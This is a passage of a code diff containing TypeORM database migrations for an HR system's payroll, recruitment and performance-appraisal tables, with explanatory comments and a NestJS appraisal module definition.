CONSTRAINT "ck_structure_lines_rate"
CHECK ("rate" IS NULL OR ("rate" >= 0 AND "rate" <= 1))
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_structure_lines_component"
ON "hr"."salary_structure_lines"
("salary_structure_id", "salary_component_id")
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."employee_salaries" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"employee_id" uuid NOT NULL,
"salary_structure_id" uuid,
"basic_salary" numeric(14,2) NOT NULL,
"currency" varchar(3) NOT NULL DEFAULT 'ETB',
"effective_from" date NOT NULL,
"effective_to" date,
"reason" varchar(256),
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_employee_salaries_structure"
FOREIGN KEY ("salary_structure_id")
REFERENCES "hr"."salary_structures" ("id"),
CONSTRAINT "ck_employee_salaries_basic" CHECK ("basic_salary" >= 0),
CONSTRAINT "ck_employee_salaries_range"
CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from")
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_employee_salaries_employee"
ON "hr"."employee_salaries" ("employee_id", "effective_from")
`);
// One open salary per employee, or "what are they paid?" has two answers.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_employee_salaries_open"
ON "hr"."employee_salaries" ("employee_id")
WHERE "effective_to" IS NULL AND "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."income_tax_brackets" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid,
"effective_from" date NOT NULL,
"effective_to" date,
"lower_bound" numeric(14,2) NOT NULL,
"upper_bound" numeric(14,2),
"rate" numeric(7,4) NOT NULL,
"deduction" numeric(14,2) NOT NULL DEFAULT 0,
"statute_reference" varchar(64),
"created_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_tax_brackets_bounds"
CHECK ("upper_bound" IS NULL OR "upper_bound" > "lower_bound"),
CONSTRAINT "ck_tax_brackets_rate"
CHECK ("rate" >= 0 AND "rate" <= 1),
CONSTRAINT "ck_tax_brackets_deduction" CHECK ("deduction" >= 0),
CONSTRAINT "ck_tax_brackets_range"
CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from")
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_tax_brackets_effective"
ON "hr"."income_tax_brackets" ("effective_from", "lower_bound")
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."statutory_rates" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid,
"code" varchar(48) NOT NULL,
"name" jsonb NOT NULL,
"rate" numeric(7,4) NOT NULL,
"effective_from" date NOT NULL,
"effective_to" date,
"statute_reference" varchar(64),
"created_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_statutory_rates_rate"
CHECK ("rate" >= 0 AND "rate" <= 1),
CONSTRAINT "ck_statutory_rates_range"
CHECK ("effective_to" IS NULL OR "effective_to" >= "effective_from")
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_statutory_rates_code"
ON "hr"."statutory_rates" ("code", "effective_from")
`);
}
public async down(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."statutory_rates"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."income_tax_brackets"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."employee_salaries"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."salary_structure_lines"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."salary_structures"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."salary_components"`);
}
}

View File

@@ -0,0 +1,146 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Payroll runs and payslips — Module 3.4, slice 2.
*
* A payslip stores COMPUTED AMOUNTS, never formulas. Once a run is approved the
* numbers are what was paid, reported to tax and contributed to pension; a
* payslip that recalculates on read would silently restate the past the first
* time a rate, a structure or a salary changed.
*
* `payslip_lines` is deliberately fine-grained — one row per component per
* employee — because the tax and pension reports read it, and reconstructing
* "how much transport allowance did we pay in Hamle" from a total is not
* possible after the fact.
*
* The run's state machine is DRAFT → CALCULATED → APPROVED → PAID. Calculation
* is repeatable while DRAFT or CALCULATED and refused afterwards.
*/
export class HrPayrollRuns3600000000010 implements MigrationInterface {
name = "HrPayrollRuns3600000000010";
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."payroll_runs" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"period_start" date NOT NULL,
"period_end" date NOT NULL,
"payment_date" date,
"status" varchar(16) NOT NULL DEFAULT 'DRAFT',
"note" varchar(512),
"employee_count" integer NOT NULL DEFAULT 0,
"total_gross" numeric(16,2) NOT NULL DEFAULT 0,
"total_deductions" numeric(16,2) NOT NULL DEFAULT 0,
"total_net" numeric(16,2) NOT NULL DEFAULT 0,
"total_income_tax" numeric(16,2) NOT NULL DEFAULT 0,
"total_pension_employee" numeric(16,2) NOT NULL DEFAULT 0,
"total_pension_employer" numeric(16,2) NOT NULL DEFAULT 0,
"calculated_at" timestamptz,
"approved_by_employee_id" uuid,
"approved_at" timestamptz,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_payroll_runs_status"
CHECK ("status" IN ('DRAFT','CALCULATED','APPROVED','PAID','CANCELLED')),
CONSTRAINT "ck_payroll_runs_period"
CHECK ("period_end" >= "period_start"),
CONSTRAINT "ck_payroll_runs_approval" CHECK (
"status" NOT IN ('APPROVED','PAID')
OR ("approved_by_employee_id" IS NOT NULL AND "approved_at" IS NOT NULL)
)
)
`);
// One run per organization per period. A second would double-pay everyone.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_payroll_runs_org_period"
ON "hr"."payroll_runs" ("organization_id", "period_start", "period_end")
WHERE "deleted_at" IS NULL AND "status" <> 'CANCELLED'
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."payslips" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"payroll_run_id" uuid NOT NULL,
"organization_id" uuid NOT NULL,
"employee_id" uuid NOT NULL,
"employee_number" varchar(32),
"basic_salary" numeric(14,2) NOT NULL DEFAULT 0,
"gross_pay" numeric(14,2) NOT NULL DEFAULT 0,
"taxable_income" numeric(14,2) NOT NULL DEFAULT 0,
"pensionable_income" numeric(14,2) NOT NULL DEFAULT 0,
"income_tax" numeric(14,2) NOT NULL DEFAULT 0,
"pension_employee" numeric(14,2) NOT NULL DEFAULT 0,
"pension_employer" numeric(14,2) NOT NULL DEFAULT 0,
"total_deductions" numeric(14,2) NOT NULL DEFAULT 0,
"net_pay" numeric(14,2) NOT NULL DEFAULT 0,
"worked_days" numeric(6,2),
"absent_days" numeric(6,2),
"overtime_hours" numeric(8,2) NOT NULL DEFAULT 0,
"salary_mode" varchar(16),
"bank_account" varchar(64),
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
CONSTRAINT "fk_payslips_run"
FOREIGN KEY ("payroll_run_id")
REFERENCES "hr"."payroll_runs" ("id") ON DELETE CASCADE,
CONSTRAINT "ck_payslips_amounts" CHECK (
"gross_pay" >= 0 AND "total_deductions" >= 0
AND "income_tax" >= 0 AND "pension_employee" >= 0
AND "pension_employer" >= 0
)
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_payslips_run_employee"
ON "hr"."payslips" ("payroll_run_id", "employee_id")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_payslips_employee"
ON "hr"."payslips" ("employee_id")
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."payslip_lines" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"payslip_id" uuid NOT NULL,
"salary_component_id" uuid,
"code" varchar(32) NOT NULL,
"name" jsonb NOT NULL,
"component_type" varchar(24) NOT NULL,
"amount" numeric(14,2) NOT NULL,
"taxable_amount" numeric(14,2) NOT NULL DEFAULT 0,
"is_taxable" boolean NOT NULL DEFAULT true,
"is_pensionable" boolean NOT NULL DEFAULT false,
"affects_net_pay" boolean NOT NULL DEFAULT true,
"basis" varchar(256),
"sort_order" smallint NOT NULL DEFAULT 100,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
CONSTRAINT "fk_payslip_lines_payslip"
FOREIGN KEY ("payslip_id")
REFERENCES "hr"."payslips" ("id") ON DELETE CASCADE,
CONSTRAINT "ck_payslip_lines_type"
CHECK ("component_type" IN
('BASIC','ALLOWANCE','DEDUCTION','EMPLOYER_CONTRIBUTION'))
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_payslip_lines_payslip"
ON "hr"."payslip_lines" ("payslip_id")
`);
// The tax and pension reports read by code across a period.
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_payslip_lines_code"
ON "hr"."payslip_lines" ("code")
`);
}
public async down(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."payslip_lines"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."payslips"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."payroll_runs"`);
}
}

View File

@@ -0,0 +1,264 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Recruitment — Module 3.5.
*
* - `job_openings` a vacancy: which IAM position it fills, how many, and
* where it is in its own approval lifecycle.
* - `applicants` a person outside the organization. Deliberately NOT an
* `iam.users` row: most applicants are never hired, and
* creating accounts for them would fill IAM with people
* who have no relationship to the employer. An IAM
* account is created only at hire, through the same
* endpoint HR uses to hire anyone else.
* - `applications` one applicant against one opening, with the stage they
* have reached.
* - `interviews` scheduled sessions and their scores.
* - `job_offers` what was offered, and what happened to it.
*
* `applications.stage` is a single column rather than a table of transitions:
* the history that matters is captured by the interviews and the offer, and a
* separate audit of stage moves would be a lot of rows nobody reads.
*/
export class HrRecruitment3600000000011 implements MigrationInterface {
name = "HrRecruitment3600000000011";
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."job_openings" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"reference" varchar(32) NOT NULL,
"title" jsonb NOT NULL,
"description" jsonb,
"position_id" uuid,
"unit_id" uuid,
"job_title_id" uuid,
"employment_type" varchar(16) NOT NULL DEFAULT 'PERMANENT',
"openings" smallint NOT NULL DEFAULT 1,
"filled" smallint NOT NULL DEFAULT 0,
"status" varchar(16) NOT NULL DEFAULT 'DRAFT',
"visibility" varchar(16) NOT NULL DEFAULT 'INTERNAL',
"min_experience_years" smallint,
"education_requirement" varchar(128),
"salary_range_min" numeric(14,2),
"salary_range_max" numeric(14,2),
"posted_on" date,
"closes_on" date,
"hiring_manager_employee_id" uuid,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_job_openings_job_title"
FOREIGN KEY ("job_title_id") REFERENCES "hr"."job_titles" ("id"),
CONSTRAINT "ck_job_openings_status"
CHECK ("status" IN ('DRAFT','OPEN','ON_HOLD','CLOSED','CANCELLED','FILLED')),
CONSTRAINT "ck_job_openings_visibility"
CHECK ("visibility" IN ('INTERNAL','EXTERNAL','BOTH')),
CONSTRAINT "ck_job_openings_counts"
CHECK ("openings" > 0 AND "filled" >= 0 AND "filled" <= "openings"),
CONSTRAINT "ck_job_openings_salary_range"
CHECK ("salary_range_min" IS NULL OR "salary_range_max" IS NULL
OR "salary_range_max" >= "salary_range_min"),
CONSTRAINT "ck_job_openings_dates"
CHECK ("closes_on" IS NULL OR "posted_on" IS NULL
OR "closes_on" >= "posted_on")
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_openings_org_reference"
ON "hr"."job_openings" ("organization_id", "reference")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_job_openings_status"
ON "hr"."job_openings" ("organization_id", "status")
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."applicants" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"full_name" jsonb NOT NULL,
"email" varchar(128),
"phone_number" varchar(32) NOT NULL,
"gender" varchar(8),
"date_of_birth" date,
"nationality" varchar(64),
"education_level" varchar(64),
"years_experience" numeric(5,2),
"current_employer" varchar(128),
"source" varchar(24) NOT NULL DEFAULT 'DIRECT',
"notes" varchar(1024),
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_applicants_gender"
CHECK ("gender" IS NULL OR "gender" IN ('MALE','FEMALE')),
CONSTRAINT "ck_applicants_source"
CHECK ("source" IN
('DIRECT','REFERRAL','AGENCY','WEBSITE','NEWSPAPER','INTERNAL','OTHER')),
CONSTRAINT "ck_applicants_experience"
CHECK ("years_experience" IS NULL OR "years_experience" >= 0)
)
`);
// Phone is the reliable identifier here — many applicants have no email.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_applicants_org_phone"
ON "hr"."applicants" ("organization_id", "phone_number")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."applications" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"job_opening_id" uuid NOT NULL,
"applicant_id" uuid NOT NULL,
"stage" varchar(24) NOT NULL DEFAULT 'APPLIED',
"applied_on" date NOT NULL,
"screening_score" numeric(5,2),
"rejection_reason" varchar(256),
"withdrawn_reason" varchar(256),
"cv_document_id" uuid,
"notes" varchar(1024),
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_applications_opening"
FOREIGN KEY ("job_opening_id") REFERENCES "hr"."job_openings" ("id"),
CONSTRAINT "fk_applications_applicant"
FOREIGN KEY ("applicant_id") REFERENCES "hr"."applicants" ("id"),
CONSTRAINT "ck_applications_stage"
CHECK ("stage" IN
('APPLIED','SCREENING','SHORTLISTED','INTERVIEW','OFFER',
'HIRED','REJECTED','WITHDRAWN')),
CONSTRAINT "ck_applications_score"
CHECK ("screening_score" IS NULL
OR ("screening_score" >= 0 AND "screening_score" <= 100))
)
`);
// One application per person per opening. Re-applying is the same
// application moving stage, not a second row competing with the first.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_applications_opening_applicant"
ON "hr"."applications" ("job_opening_id", "applicant_id")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_applications_stage"
ON "hr"."applications" ("job_opening_id", "stage")
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."interviews" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"application_id" uuid NOT NULL,
"round" smallint NOT NULL DEFAULT 1,
"interview_type" varchar(24) NOT NULL DEFAULT 'PANEL',
"scheduled_at" timestamptz NOT NULL,
"duration_minutes" smallint NOT NULL DEFAULT 60,
"location" varchar(256),
"interviewer_employee_ids" uuid[],
"status" varchar(16) NOT NULL DEFAULT 'SCHEDULED',
"score" numeric(5,2),
"recommendation" varchar(16),
"feedback" varchar(2048),
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_interviews_application"
FOREIGN KEY ("application_id")
REFERENCES "hr"."applications" ("id") ON DELETE CASCADE,
CONSTRAINT "ck_interviews_type"
CHECK ("interview_type" IN
('PHONE','PANEL','TECHNICAL','WRITTEN','PRACTICAL','FINAL')),
CONSTRAINT "ck_interviews_status"
CHECK ("status" IN ('SCHEDULED','COMPLETED','CANCELLED','NO_SHOW')),
CONSTRAINT "ck_interviews_score"
CHECK ("score" IS NULL OR ("score" >= 0 AND "score" <= 100)),
CONSTRAINT "ck_interviews_recommendation"
CHECK ("recommendation" IS NULL
OR "recommendation" IN ('ADVANCE','HOLD','REJECT')),
CONSTRAINT "ck_interviews_round" CHECK ("round" > 0),
-- A completed interview must say how it went, or the record is useless
-- to the person deciding on the offer.
CONSTRAINT "ck_interviews_completed"
CHECK ("status" <> 'COMPLETED' OR "recommendation" IS NOT NULL)
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_interviews_application_round"
ON "hr"."interviews" ("application_id", "round")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."job_offers" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"application_id" uuid NOT NULL,
"offered_basic_salary" numeric(14,2) NOT NULL,
"salary_structure_id" uuid,
"employment_type" varchar(16) NOT NULL DEFAULT 'PERMANENT',
"proposed_start_date" date NOT NULL,
"probation_end_date" date,
"expires_on" date,
"status" varchar(16) NOT NULL DEFAULT 'DRAFT',
"decline_reason" varchar(256),
"responded_on" date,
"hired_employee_id" uuid,
"notes" varchar(1024),
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_job_offers_application"
FOREIGN KEY ("application_id") REFERENCES "hr"."applications" ("id"),
CONSTRAINT "fk_job_offers_structure"
FOREIGN KEY ("salary_structure_id")
REFERENCES "hr"."salary_structures" ("id"),
CONSTRAINT "ck_job_offers_status"
CHECK ("status" IN
('DRAFT','SENT','ACCEPTED','DECLINED','WITHDRAWN','EXPIRED')),
CONSTRAINT "ck_job_offers_salary" CHECK ("offered_basic_salary" > 0),
CONSTRAINT "ck_job_offers_probation"
CHECK ("probation_end_date" IS NULL
OR "probation_end_date" >= "proposed_start_date"),
-- An accepted offer must record who it turned into, or the link between
-- recruitment and the employee record is lost.
CONSTRAINT "ck_job_offers_declined"
CHECK ("status" <> 'DECLINED' OR "decline_reason" IS NOT NULL)
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_job_offers_application"
ON "hr"."job_offers" ("application_id")
`);
// One live offer per application. Two outstanding offers to one candidate
// is how somebody ends up hired on the wrong terms.
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_job_offers_live"
ON "hr"."job_offers" ("application_id")
WHERE "status" IN ('DRAFT','SENT') AND "deleted_at" IS NULL
`);
}
public async down(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_offers"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."interviews"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."applications"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."applicants"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."job_openings"`);
}
}

View File

@@ -0,0 +1,227 @@
import { MigrationInterface, QueryRunner } from "typeorm";
/**
* Performance appraisal — Module 3.6.
*
* - `appraisal_templates` the form: how it is scored and what the bands mean.
* - `appraisal_criteria` what is assessed, each with a weight. Weights must
* total 100 — enforced in the service, because a form
* whose weights sum to 87 produces scores that cannot
* be compared with anything.
* - `appraisal_cycles` a period everyone is appraised for. The template is
* COPIED into each appraisal when it opens, so editing
* a template later cannot restate a completed review.
* - `appraisals` one per employee per cycle, moving through self
* assessment, manager assessment, acknowledgement.
* - `appraisal_ratings` a score per criterion, self and manager side by side.
* - `appraisal_goals` objectives agreed at the start and rated at the end.
*
* Scores are `numeric(6,2)`. Percentages are stored as 0100, weights the same,
* so a reader never has to guess whether 0.85 means 85% or 0.85%.
*/
export class HrAppraisal3600000000012 implements MigrationInterface {
name = "HrAppraisal3600000000012";
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."appraisal_templates" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"code" varchar(32) NOT NULL,
"name" jsonb NOT NULL,
"description" jsonb,
"max_score" numeric(6,2) NOT NULL DEFAULT 5,
"rating_bands" jsonb NOT NULL DEFAULT '[]'::jsonb,
"requires_self_assessment" boolean NOT NULL DEFAULT true,
"requires_acknowledgement" boolean NOT NULL DEFAULT true,
"is_active" boolean NOT NULL DEFAULT true,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "ck_appraisal_templates_max_score" CHECK ("max_score" > 0)
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_templates_org_code"
ON "hr"."appraisal_templates" ("organization_id", "code")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."appraisal_criteria" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"template_id" uuid NOT NULL,
"code" varchar(32) NOT NULL,
"name" jsonb NOT NULL,
"description" jsonb,
"category" varchar(32),
"weight" numeric(6,2) NOT NULL,
"sort_order" smallint NOT NULL DEFAULT 100,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
CONSTRAINT "fk_appraisal_criteria_template"
FOREIGN KEY ("template_id")
REFERENCES "hr"."appraisal_templates" ("id") ON DELETE CASCADE,
CONSTRAINT "ck_appraisal_criteria_weight"
CHECK ("weight" > 0 AND "weight" <= 100)
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_criteria_template_code"
ON "hr"."appraisal_criteria" ("template_id", "code")
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."appraisal_cycles" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"code" varchar(32) NOT NULL,
"name" jsonb NOT NULL,
"template_id" uuid NOT NULL,
"period_start" date NOT NULL,
"period_end" date NOT NULL,
"self_due_on" date,
"manager_due_on" date,
"status" varchar(16) NOT NULL DEFAULT 'DRAFT',
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_appraisal_cycles_template"
FOREIGN KEY ("template_id") REFERENCES "hr"."appraisal_templates" ("id"),
CONSTRAINT "ck_appraisal_cycles_status"
CHECK ("status" IN ('DRAFT','OPEN','CLOSED','CANCELLED')),
CONSTRAINT "ck_appraisal_cycles_period"
CHECK ("period_end" > "period_start")
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_cycles_org_code"
ON "hr"."appraisal_cycles" ("organization_id", "code")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."appraisals" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"organization_id" uuid NOT NULL,
"cycle_id" uuid NOT NULL,
"employee_id" uuid NOT NULL,
"appraiser_employee_id" uuid,
"status" varchar(24) NOT NULL DEFAULT 'PENDING_SELF',
"self_score" numeric(6,2),
"manager_score" numeric(6,2),
"final_score" numeric(6,2),
"final_rating" varchar(32),
"self_comment" varchar(2048),
"manager_comment" varchar(2048),
"employee_comment" varchar(2048),
"self_submitted_at" timestamptz,
"manager_submitted_at" timestamptz,
"acknowledged_at" timestamptz,
"created_by" uuid,
"updated_by" uuid,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
"deleted_at" timestamptz,
CONSTRAINT "fk_appraisals_cycle"
FOREIGN KEY ("cycle_id")
REFERENCES "hr"."appraisal_cycles" ("id") ON DELETE CASCADE,
CONSTRAINT "ck_appraisals_status"
CHECK ("status" IN
('PENDING_SELF','PENDING_MANAGER','PENDING_ACKNOWLEDGEMENT',
'COMPLETED','CANCELLED')),
CONSTRAINT "ck_appraisals_scores" CHECK (
("self_score" IS NULL OR ("self_score" >= 0 AND "self_score" <= 100))
AND ("manager_score" IS NULL OR ("manager_score" >= 0 AND "manager_score" <= 100))
AND ("final_score" IS NULL OR ("final_score" >= 0 AND "final_score" <= 100))
),
-- A completed appraisal must carry the score it concluded with.
CONSTRAINT "ck_appraisals_completed"
CHECK ("status" <> 'COMPLETED' OR "final_score" IS NOT NULL)
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisals_cycle_employee"
ON "hr"."appraisals" ("cycle_id", "employee_id")
WHERE "deleted_at" IS NULL
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_appraisals_appraiser"
ON "hr"."appraisals" ("appraiser_employee_id", "status")
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_appraisals_employee"
ON "hr"."appraisals" ("employee_id")
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."appraisal_ratings" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"appraisal_id" uuid NOT NULL,
"criterion_id" uuid,
"code" varchar(32) NOT NULL,
"name" jsonb NOT NULL,
"weight" numeric(6,2) NOT NULL,
"max_score" numeric(6,2) NOT NULL,
"self_score" numeric(6,2),
"manager_score" numeric(6,2),
"self_comment" varchar(1024),
"manager_comment" varchar(1024),
"sort_order" smallint NOT NULL DEFAULT 100,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
CONSTRAINT "fk_appraisal_ratings_appraisal"
FOREIGN KEY ("appraisal_id")
REFERENCES "hr"."appraisals" ("id") ON DELETE CASCADE,
CONSTRAINT "ck_appraisal_ratings_scores" CHECK (
("self_score" IS NULL OR ("self_score" >= 0 AND "self_score" <= "max_score"))
AND ("manager_score" IS NULL
OR ("manager_score" >= 0 AND "manager_score" <= "max_score"))
)
)
`);
await queryRunner.query(`
CREATE UNIQUE INDEX IF NOT EXISTS "uq_appraisal_ratings_appraisal_code"
ON "hr"."appraisal_ratings" ("appraisal_id", "code")
`);
await queryRunner.query(`
CREATE TABLE IF NOT EXISTS "hr"."appraisal_goals" (
"id" uuid PRIMARY KEY DEFAULT gen_random_uuid(),
"appraisal_id" uuid NOT NULL,
"title" varchar(256) NOT NULL,
"description" varchar(2048),
"target" varchar(256),
"weight" numeric(6,2),
"achievement_percent" numeric(6,2),
"manager_comment" varchar(1024),
"sort_order" smallint NOT NULL DEFAULT 100,
"created_at" timestamptz NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" timestamptz,
CONSTRAINT "fk_appraisal_goals_appraisal"
FOREIGN KEY ("appraisal_id")
REFERENCES "hr"."appraisals" ("id") ON DELETE CASCADE,
CONSTRAINT "ck_appraisal_goals_achievement"
CHECK ("achievement_percent" IS NULL
OR ("achievement_percent" >= 0 AND "achievement_percent" <= 200))
)
`);
await queryRunner.query(`
CREATE INDEX IF NOT EXISTS "idx_appraisal_goals_appraisal"
ON "hr"."appraisal_goals" ("appraisal_id")
`);
}
public async down(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_goals"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_ratings"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisals"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_cycles"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_criteria"`);
await queryRunner.query(`DROP TABLE IF EXISTS "hr"."appraisal_templates"`);
}
}

View File

@@ -0,0 +1,40 @@
import { Module } from "@nestjs/common";
import { TypeOrmModule } from "@nestjs/typeorm";
import {
Appraisal,
AppraisalCriterion,
AppraisalCycle,
AppraisalGoal,
AppraisalRating,
AppraisalTemplate,
} from "./entities/appraisal.entity";
import { AppraisalService } from "./services/appraisal.service";
import { AppraisalController } from "./controllers/appraisal.controller";
import { EmployeesModule } from "../employees/employees.module";
/**
* Module 3.6 Performance appraisal.
*
* Reuses the line-manager resolution built for leave: the person who approves
* your leave is the person who appraises you, and having two answers to "who is
* their manager" is how an organization ends up with reviews signed by the wrong
* person.
*/
@Module({
imports: [
TypeOrmModule.forFeature([
AppraisalTemplate,
AppraisalCriterion,
AppraisalCycle,
Appraisal,
AppraisalRating,
AppraisalGoal,
]),
EmployeesModule,
],
controllers: [AppraisalController],
providers: [AppraisalService],
exports: [AppraisalService],
})
export class AppraisalModule {}

View File

@@ -0,0 +1,238 @@
import {
Body,
Controller,
Get,
Param,
